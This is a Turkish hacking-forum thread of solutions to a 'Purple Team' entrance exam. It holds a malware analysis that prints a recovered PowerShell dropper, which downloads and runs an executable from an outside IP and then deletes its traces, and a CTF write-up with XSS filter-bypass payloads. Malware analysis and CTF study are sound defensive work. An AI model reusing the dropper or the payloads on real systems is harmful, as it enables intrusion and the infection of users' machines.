Purple Team Sınav Sorusu Çözümleri

P4RS

Özel Üye
8 Ocak 2017
5,156
58
Ankara
Merhabalar arkadaşlar, yakın bir süreçte alımlarımız tekrardan açılacaktır. Sizlere ekip alımımızda ne tür sorular sorduğumuzu göstermek maksadıyla böyle bir konu hazırladık. Ancak bu çözümlü sorular, sınavda sorduğumuz soruların bir kısmıdır, bilginize...
 
Son düzenleme:

whitend06

Özel Üye
27 Nis 2020
142
605
Zararlı Yazılım Analizi Yapmaya Ne Dersin?

Merhaba arkadaşlar. Purple Team giriş sınavı için verilen sorulardan 5. soruyu (Zararlı Yazılım Analizi Yapmaya Ne Dersin?) elimden geldiği kadar çözümü yaptıklarımı paylaşmaya çalışacağım.
Doğrum vardır, yanlışım vardır; zaman ayırıp yanlışlarımı düzeltirseniz sevinirim :)

(Not: Forum üzerinde açtığım ilk konudur sürçü lisan edersem affola :) )

Soruda verilen https://drive.google.com/file/d/1gB8d5fOSxobv46B_Jk4myRKJapKI7UaF/view?usp=sharing url adresine gidildiği zaman baddoc.rar isimli bir rar dosya indirilmektedir. Dosya içerisinde ki veri çıkartılmak istenildiği zaman şifre ile karşılaşılmaktadır.
rar2john aracını kullanarak parolanın hashlenmiş hali ele geçirilir.

9Zh9ui.png


Bulunan hash değeri hashcat aracı ile rockyou.txt wordlisti kullanılarak kırılır.

KgtWV0.png


Şifre “infected” olarak bulunur ve dosya çıkartılır.
Windows defender analiz yapılacağı için kapatılır. Dosya Microsoft Word programında açılır. Makrolara izin verilir.

VqX4Op.png


Analize ilk olarak osquery üzerinden başlanır ve makrolara izin verdikten sonra çalıştırılan processes lere bakılır.

WQGexS.png


Microsoft Word tarafından çalıştırılan processler “parent” filtresi ile word’ün pid değeri yazılarak ulaşılır ve aynı işlem bulunan processler içinde tekralanır.

lx48Oz.png


DYOgdN.png


Bulunan processlerin çalıştırdıkları komut satırlarına bakılır.

SaQ159.png


5080 pid numaralı process’in “C:\Windows\system32\cmd.exe /c c:\Users\kazim\AppData\Local\Temp\adobeacd-update.bat” komutunu,
5068 pid numaralı process’in “cscript.exe "c:\Users\kazim\AppData\Local\Temp\adobeacd-update"".""v""bs"” komutunu ve
908 pid numaralı process’in “"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy bypass -noprofile -file C:\Users\kazim\AppData\Local\Temp\adobeacd-update.ps1” komutunu çalıştırdığı tespit edilmiştir.

powershell üzerinde yapılan işlemlerin detaylarını öğrenebilmek; Osquery üzerinde “Select * from powershell_events;” komutu çalıştırılmış ancak group policy ayarlının yapılmış olmasına rağmen herhangi bir sonuç alınamamıştır.

6QjeXE.png


Belkide osquery üzerinde konfigürasyon ayarlarının yapılması gerekmektedir ancak detaylı bilgim olmadığından dolayı manuel inceleme yapmaya karar verilmiştir.

Logların incenlenmesi için; EventViewer uygulamasına gidilmiştir. EventViewer üzerinde “Uygulama ve Hizmet Günlükleri > Microsoft > Windows > PowerShell” sekmesine gidilmiştir.

ZecuU8.png


Event ID değeri 4104 olan operational powershell loglarının incelenmesine başlanmıştır.
Event ID değeri 4104 olan logların detayı için https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7 adresine gidebilirsiniz. Ayrıca windows logları hakkında daha detaylı bilgiyi https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/ sayfasından ulaşabilirsiniz.

1. logda;

lx07vx.png


Kod:
“$down = New-Object System.Net.WebClient;
$url  = 'http://91.220.131.44/upd/install.exe';
$file = 'c:\Users\kazim\AppData\Local\Temp\444.exe';
$down.headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$down.DownloadFile($url,$file);
$ScriptDir = $MyInvocation.ScriptName;
$someFilePath = 'c:\Users\kazim\AppData\Local\Temp\444.exe';
$vbsFilePath = 'c:\Users\kazim\AppData\Local\Temp\adobeacd-update'+'.'+'v'+'bs';
$batFilePath = 'c:\Users\kazim\AppData\Local\Temp\adobeacd-update'+'.'+'b'+'at';
$psFilePath = 'c:\Users\kazim\AppData\Local\Temp\adobeacd-update'+'.'+'p'+'s1';
Start-Sleep -s 15;
cmd.exe /c  'c:\Users\kazim\AppData\Local\Temp\444.exe';     
$file1 = gci $vbsFilePath -Force
$file2 = gci $batFilePath -Force
$file3 = gci $psFilePath -Force
If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }
If (Test-Path $batFilePath){ Remove-Item $batFilePath }
$psHello = 'aisdjhiqowhdiq';
If (Test-Path $someFilePath){ Remove-Item $someFilePath }
Remove-Item $MyINvocation.InvocationName”

Komutunun çalıştırıldığı görülmüştür. Bir IOC verisi olarak “91.220.131.44” IP adresi ve bu adresten indirilen dosyanın temp altına “c:\Users\kazim\AppData\Local\Temp\444.exe';” adı ile kayıt edildiği tespit edilmiştir.

2. logda;

13QSOU.png


Kod:
“if ($_.FullyQualifiedErrorId -ne "NativeCommandErrorMessage" -and $ErrorView -ne "CategoryView")
{
    $myinv = $_.InvocationInfo
    if ($myinv -and $myinv.MyCommand)
    {
        switch -regex ( $myinv.MyCommand.CommandType )
        {
            ([System.Management.Automation.CommandTypes]::ExternalScript)
            {
                if ($myinv.MyCommand.Path)
                {
                    $myinv.MyCommand.Path + " : "
                }
                break
            }
            ([System.Management.Automation.CommandTypes]::Script)
            {
                if ($myinv.MyCommand.ScriptBlock)
                {
                    $myinv.MyCommand.ScriptBlock.ToString() + " : "
                }
                break
            }
            default
            {
                if ($myinv.InvocationName -match '^[&\.]?$')
                {
                    if ($myinv.MyCommand.Name)
                    {
                        $myinv.MyCommand.Name + " : "
                    }
                }
                else
                {
                    $myinv.InvocationName + " : "
                }
                break
            }
        }
    }
    elseif ($myinv -and $myinv.InvocationName)
    {
        $myinv.InvocationName + " : "
    }
}”

Komutunun çalıştığı gözlemlenmiştir.

3.logda;

U6Tlw3.png


Kod:
“if ($_.FullyQualifiedErrorId -ne "NativeCommandErrorMessage" -and $ErrorView -ne "CategoryView")
“if ($_.FullyQualifiedErrorId -eq "NativeCommandErrorMessage") {
    $_.Exception.Message   
}
else
{
    $myinv = $_.InvocationInfo
    if ($myinv -and ($myinv.MyCommand -or ($_.CategoryInfo.Category -ne 'ParserError'))) {
        $posmsg = $myinv.PositionMessage
    } else {
        $posmsg = ""
    }
    
    if ($posmsg -ne "")
    {
        $posmsg = "`n" + $posmsg
    }

    if ( & { Set-StrictMode -Version 1; $_.PSMessageDetails } ) {
        $posmsg = " : " +  $_.PSMessageDetails + $posmsg 
    }

    $indent = 4
    $width = $host.UI.RawUI.BufferSize.Width - $indent - 2

    $errorCategoryMsg = & { Set-StrictMode -Version 1; $_.ErrorCategory_Message }
    if ($errorCategoryMsg -ne $null)
    {
        $indentString = "+ CategoryInfo          : " + $_.ErrorCategory_Message
    }
    else
    {
        $indentString = "+ CategoryInfo          : " + $_.CategoryInfo
    }
    $posmsg += "`n"
    foreach($line in @($indentString -split "(.{$width})")) { if($line) { $posmsg += (" " * $indent + $line) } }

    $indentString = "+ FullyQualifiedErrorId : " + $_.FullyQualifiedErrorId
    $posmsg += "`n"
    foreach($line in @($indentString -split "(.{$width})")) { if($line) { $posmsg += (" " * $indent + $line) } }

    $originInfo = & { Set-StrictMode -Version 1; $_.OriginInfo }
    if (($originInfo -ne $null) -and ($originInfo.PSComputerName -ne $null))
    {
        $indentString = "+ PSComputerName        : " + $originInfo.PSComputerName
        $posmsg += "`n"
        foreach($line in @($indentString -split "(.{$width})")) { if($line) { $posmsg += (" " * $indent + $line) } }
    }

    if ($ErrorView -eq "CategoryView") {
        $_.CategoryInfo.GetMessage()
    }
    elseif (! $_.ErrorDetails -or ! $_.ErrorDetails.Message) {
        $_.Exception.Message + $posmsg + "`n "
    } else {
        $_.ErrorDetails.Message + $posmsg
    }
}”
Komutunun çalıştırıldığı görülmüştür.
İncelenen diğer loğlarda kıymetli bir IOC verisinin olmadığı görülmüştür.

Son olarak Wireshark programı çalıştırılıp Word dosyası tekrar tetiklendiğinde resim üzerinde görülen sonuçlara ulaşılmıştır. “1.1.2.2” ip adresine ping atıldığı ve “52.109.88.126” ip adresine “Client Hello” yazan bir mesaj gönderildiği gözlemlenmiştir.

VOZgQ6.png


VirusTotal üzerinde yapılan arama sonucunda dosyanın hash bilgilerine ulaşılmıştır.
MD5: a3b613d128aace09241504e8acc678c2
SHA-1: edde71ccadfad1380b881da5ecafc77fba5885b8
SHA-256: 8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de


WF5YiU.png


Arkadaşlarım elimden geldiği kadar yaptığım analiz budur.
Geri bildirimleriniz için şimdiden teşekkürler :):
 
Moderatör tarafında düzenlendi:

NAK0

Üye
26 Ara 2015
51
0
XSS Güzel Mi ?

Merhaba arkadaşlar. Purple Team giriş sınavı için verilen sorulardan 2. sorunun(XSS Güzel Mi ?) çözümü aşağıdaki gibidir.

Soruda verilen http://142.93.175.236/sınav-soru/ web adresine gittiğimizde bizleri böyle bir sayfa karşılıyor.

ySJgws.png



Sayfanın kaynak kodlarını görüntülüyoruz. Sayfanın en altında bizleri böyle bir şey karşılıyor.

ySQjhp.png



Kod:
adasdasdsadffgdfgdfgfdd.php
url kısmına ekleyip devam ediyoruz.


ySQ2Nf.png



Yeni karşılaştığımız sayfanında kaynak kodlarını görüntülüyoruz.


ySQMic.png



?xss= komutunu görüyoruz URL kısmına bunu da ekleyerek kaynak kodlarını tekrar incelemeye başlıyoruz.


ySQ7m0.png


Şimdi sisteme alert verdirtmek için gerekli işlemlere başlıyoruz.

Payload olarak <script>alert(1)</script> payloadımızı giriyoruz.

ySrVOM.png


Yukarıdaki resimde görmüş olduğumuz gibi ekrana <>(1) yazdı. Burdan sunu anlıyoruz ki script tagları filitrelenmiş. Ama normalde alert(1) yazması gerekirdi. Ama ilk önce sadece küçük script tagı mı filitrelenmiş ona bakalım.

ySrxsH.png


Yukarıdaki resimde olduğu gibi kullanmış olduğumuz bu <SCRIPT>alert(1)</SCRIPT> payload herhangi bir sonuç vermedi.
Bunun üzerine iç içe script deniyoruz.

<sc<script>ript>alert(1)</sc</script>ript> payloadımızı deniyoruz

ySrNYS.png


Ekrana ript>(1)ript> yazdı.
Artık script değilde başka birşeyler deniyelim.
Dördüncü olarak <svg onload=alert(1)> payloadımızı deniyoruz.

ySrcSQ.png


Yukarıdaki resimde görmüş olduğumuz gibi bu payload'ımızla bir sonuç alamadık. Scriptin yanı sıra önceki işlemlerimiz de alert de sorun var gibiydi. Bu yüzden yine aynı payload fakat alert ile benzer olan prompt kullanalım.Şu şekilde;
<svg onload=prompt(1)>

ySrqBx.png


Yukarıdaki resimde olduğu gibi sisteme alert verdirmeyi başardık.
 
Moderatör tarafında düzenlendi:

Quality38

Uzman üye
8 Ocak 2017
1,219
2
Merhaba arkadaşlar,
3. sorunun (OSquery ile Zararlı Yazılım Analizi) çözümlerini detaylı bir şekilde bir video serisi halinde anlattım. Mikrofonumum sadece oldların hatırlayacağı 35TL'lik kameralı mikrofon olmasından dolayı sesim çok kötü şimdiden kulaklarınız için özür dilerim... Dip sesi temizleyebildiğim kadar temizledim.

Konuyu ilk fırsatta (finaller biter bitmez) resimli ve yazılı bir şekilde güncellemiş olurum inşalllah. (Video işine yeni giriştim, olumlu/olumsuz eleştirilerinizi bekliyorum ayrıca pls)

Uzatmadan sırayla videoları aşağıya bırakıyorum.
Saygılar...


1- Ubuntu Server Kurulumu (16.04 LTS) - VMware Sanal PC Kurma
- Ubuntu Server İndirme Linki (Son Sürüm): https://ubuntu.com/download/server
- Videoda kullanılan versiyon (16.04 LTS) indirme sayfası: https://releases.ubuntu.com/16.04/

[ame]https://www.youtube.com/watch?v=Ar8aW-KQ7-w&list=PL1uP6Gx44stM4JsPoN97LvWlxdm18SlGC&index=2&t=3s[/ame]

2- Windows 7 Kurulumu - VMware Sanal PC Kurma
ÖNEMLİ NOT:
Bu videoda Windows 7 32 Bit kurulmuştur fakat ilerleyen aşamalarda, 32 bit Osquery ile çalışmadığı için Windows 7 64 bit kurulumu yapılmıştır. O yüzden 32 BİT YERİNE 64 BİT KURMALISINIZ
.

-Windows 7 64 bit ISO İndirme Linki: Windows 7 64 Bit

[ame]https://www.youtube.com/watch?v=00xrLpCnfD8&list=PL1uP6Gx44stM4JsPoN97LvWlxdm18SlGC&index=3&t=0s[/ame]

3- Kali Linux 2020 (2020.2) Kurulumu
- Kali Linux 2020.2 İndirme Linki:https://www.kali.org/downloads/

[ame]https://www.youtube.com/watch?v=TbaUAQ5S6og&list=PL1uP6Gx44stM4JsPoN97LvWlxdm18SlGC&index=4&t=106s[/ame]

4-VMware Ağ Konfigürasyonu

[ame]https://www.youtube.com/watch?v=Y1nfGh1uz-Q&list=PL1uP6Gx44stM4JsPoN97LvWlxdm18SlGC&index=5&t=0s[/ame]

5- Osquery İle Zararlı Yazılım Analizi 1 - Kolide Fleet Kurulumu

[ame]https://www.youtube.com/watch?v=bLJrnV8nKg4&list=PL1uP6Gx44stM4JsPoN97LvWlxdm18SlGC&index=6&t=0s[/ame]

6- Osquery ile Zararlı Yazılım Analizi 2 | Kolide Fleet Host Ekleme - Windows Osquery Kurulumu
-Kolide Launcher Linki v0.9.3: https://github.com/kolide/launcher/releases?after=0.9.4
-Osquery İndirme linki: https://osquery.io/downloads/official/4.3.0

[ame]https://www.youtube.com/watch?v=HCraMph492U&list=PL1uP6Gx44stM4JsPoN97LvWlxdm18SlGC&index=7&t=0s[/ame]

7- Osquery ile Zararlı Yazılım Analizi 3 | Osquery ile Temel Zararlı Yazılım Analizi

[ame]https://www.youtube.com/watch?v=3XgnaUbfSoM&list=PL1uP6Gx44stM4JsPoN97LvWlxdm18SlGC&index=8&t=0s[/ame]
 
Son düzenleme:

P4RS

Özel Üye
8 Ocak 2017
5,156
58
Ankara
Merhabalar arkadaşlar, yakın bir süreçte alımlarımız tekrardan açılacaktır. Sizlere ekip alımımızda ne tür sorular sorduğumuzu göstermek maksadıyla böyle bir konu hazırladık. Ancak bu çözümlü sorular, sınavda sorduğumuz soruların bir kısmıdır, bilginize...
 

TurkishHacker01

Yeni üye
28 Haz 2020
47
0
completed
Hojam bu sene haksızlık oldu, sınav ertelenecek dendi geri çekildi ve sıralamalar çok yükseldi. Tht bu sene zor sordu, zararlı yazilım konusu çıkmayacak dendi ama soruldu. Seneye tekrar hazırlanacam purpble tim ilk 15K ile alıyordu değil mi ?



:trl
 

P4RS

Özel Üye
8 Ocak 2017
5,156
58
Ankara
Hojam bu sene haksızlık oldu, sınav ertelenecek dendi geri çekildi ve sıralamalar çok yükseldi. Tht bu sene zor sordu, zararlı yazilım konusu çıkmayacak dendi ama soruldu. Seneye tekrar hazırlanacam purpble tim ilk 15K ile alıyordu değil mi ?



:trl

Bu sene 5k'yı alıyoruz ekibe, ona göre çalış sende :trl :)
 

R4V3N

Adanmış Üye
3 Tem 2016
6,250
38
25
Kocaeli
Emeğinize sağlık mor tim :)
deep turkish web detayı gözümüzden kaçmadı haberiniz ola :trl
 

P4RS

Özel Üye
8 Ocak 2017
5,156
58
Ankara
Günceldir arkadaşlar, haftaya alımlar açılacaktır. Bu soruların aynısı çıkmasa da yol gösterici sorulardır.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.